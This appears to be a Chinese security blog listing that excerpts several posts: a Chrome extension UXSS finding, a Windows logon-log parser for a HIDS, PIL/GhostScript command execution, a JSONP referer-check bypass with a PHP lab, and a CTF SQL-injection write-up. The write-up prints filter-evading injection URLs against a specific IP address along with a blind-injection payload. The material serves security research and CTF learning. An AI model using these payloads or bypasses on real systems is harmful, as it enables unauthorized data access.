Chrome 扩展安全研究 - 一个UXSS的挖掘经历

首发于: https://www.anquanke.com/post/id/98917

引言

有点想把标题换成 来骗一波点击。但毕竟其实是扩展的问题,还是老实点写“扩展”吧。

这是我春节前挖到的一个漏洞,大概抓取了用户量top400的 Chrome 扩展,对比较在意的几个问题写了脚本删选了一部分出来,再逐个审计。本次讲的这个漏洞是想产出 UXSS 的时候挖的 UXSS 漏洞之一。我觉得比较典型,涉及到 content_scripts 和 background 脚本及其他 Chrome 扩展的特性,相对来说比较有趣,坑也稍微多一点。

由于不能公开插件详情,我把该插件和漏洞相关的源码抽出来,去掉一些带有公司名的关键字,放到 github 上:

https://github.com/neargle/hacking-extensions/tree/master/content_scripts_uxss

git clone 到本地,打开 chrome://extensions/, 开启“开发者模式”, 点击 “加载已解压的扩展程序…” 按钮,选择 content_scripts_uxss 文件夹即可。

使用 golang 解析 Windows 日志的四种方法

关于驭龙HIDS

驭龙HIDS (https://github.com/ysrc/yulong-hids) 是一款由 YSRC 开发的入侵检测系统,集异常检测、监控管理为一体,拥有异常行为发现、快速阻断、高级分析等功能,可从多个维度行为信息中发现入侵行为。当前,驭龙agent主要会收集系统信息,计划任务,存活端口,登录日志,进程信息,服务信息,启动项,用户列表,web路径等信息,其中Windows用户登录信息读取了Windows的EventLog,经历了几个版本,更换了好几个方法,最终成型。这篇文章就稍微说一下这几种方法的思路和实现。如果有更好的思路或实现,期待各位交流指教。

Windows事件查看器与日志ID

我们知道Windows会把系统登录日志记录在Windows安全日志里,我们可以在事件查看器里筛选查看这些系统日志。

那如果要看登录相关的系统日志呢?可以用事件ID进行筛选,其中登录失败的事件ID为 4625, 而成功的登录ID为 4624。大部分的登录信息会包含在这两个事件ID里面。

Exploiting Python PIL Module Command Execution Vulnerability

这是我用来支持先知和代码审计小密圈活动的文章,首发于: https://xianzhi.aliyun.com/forum/read/2163.html

PIL (Python Image Library) 应该是 Python 图片处理库中运用最广泛的,它拥有强大的功能和简洁的API。很多Python Web应用在需要实现处理图片的功能时,都会选择使用PIL。

PIL在对 eps 图片格式进行处理的时候,如果环境内装有 GhostScript,则会调用 GhostScript 在dSAFER模式下处理图片,即使是最新版本的PIL模块,也会受到 GhostButt CVE-2017-8291 dSAFER模式Bypass漏洞的影响,产生命令执行漏洞。

据说大牛们看源码和 dockerfile 就可以了:https://github.com/neargle/PIL-RCE-By-GhostButt

使用request merging bypass referer(jsonp) 检测

更新两篇之前在其他地方发过的文章

1. 关于request merging和其会产生的问题

request merging : 浏览器会把多次相同的请求(并非所有请求)合并成一次,以加快资源加载速度。

e.g.

1
2
3
<script type="text/javascript" src="http://0.0.0.0:8888/jsonp/1"></script>
<script type="text/javascript" src="http://0.0.0.0:8888/jsonp/1"></script>
<script type="text/javascript" src="http://0.0.0.0:8888/jsonp/1"></script>

只会请求并加载一次”http://0.0.0.0:8888/jsonp/1"资源。

曾经有研究指出,这种请求合并想象在iframe里也存在,那么浏览器的这种特性就可以用来bypass部分程序的referer的判断,如jsonp的防御机制。

2. 环境和POC

绕过referer检测,攻击者能否拿到进行referer保护的用户信息?

攻击者服务器: http://example.com:8081
目标服务器: http://example.com:8082
referer检测: referer是否以“http://example.com:8082”开头
目标: 攻击者拿到属于用户的 “security content”

环境:

/jsonp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

function startsWith($url, $domain) {
$length = strlen($domain);
return (substr($url, 0, $length) === $domain);
}

$referrer = @$_SERVER['HTTP_REFERER'];

if (startsWith($referrer, "http://example.com:8082")) {
$js_code = 'function jquery() { return "security content";}';
echo $js_code;
} else {
$js_code = 'function jquery() { return "nothing";}';
echo $js_code;
}

ddctf 两道web题的Writeup (sqli & xss)

更新两篇之前在其他地方发过的文章

sqli

地址: http://118.190.134.8/t1/news.php?id=1

尝试sql注入,会发现过滤了’和空格等。使用
http://118.190.134.8/t1/news.php?id=1%0aand%0a1=1http://118.190.134.8/t1/news.php?id=1%0aand%0a1=2 判断注入存在,开始思考出数据的方法

http://118.190.134.8/t1/news.php?id=1%0aorder%0aby%0a5
判断字段数为4

http://118.190.134.8/t1/news.php?id=1union%0aselect%0a1,2,3,4
发现过滤了逗号

那就不好用union出数据了,可选择使用盲注出数据比如(select%a0ascii(substr((select%a0TABLE_NAME%a0from%a0information_schema.tables%a0where%a0TABLE_TYPE%a0=%a0"BASE%a0TABLE"%a0limit%a01%a0OFFSET%a02)%a0from%a01%a0for%a01))=1)%23。但是这里其实有一个union出数据的tip可以使用:

1
2
3
4
5
6
mysql $> select 1,2,3,4 Union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d
+-----+-----+-----+-----+
| 1 | 2 | 3 | 4 |
|-----+-----+-----+-----|
| 1 | 2 | 3 | 4 |
+-----+-----+-----+-----+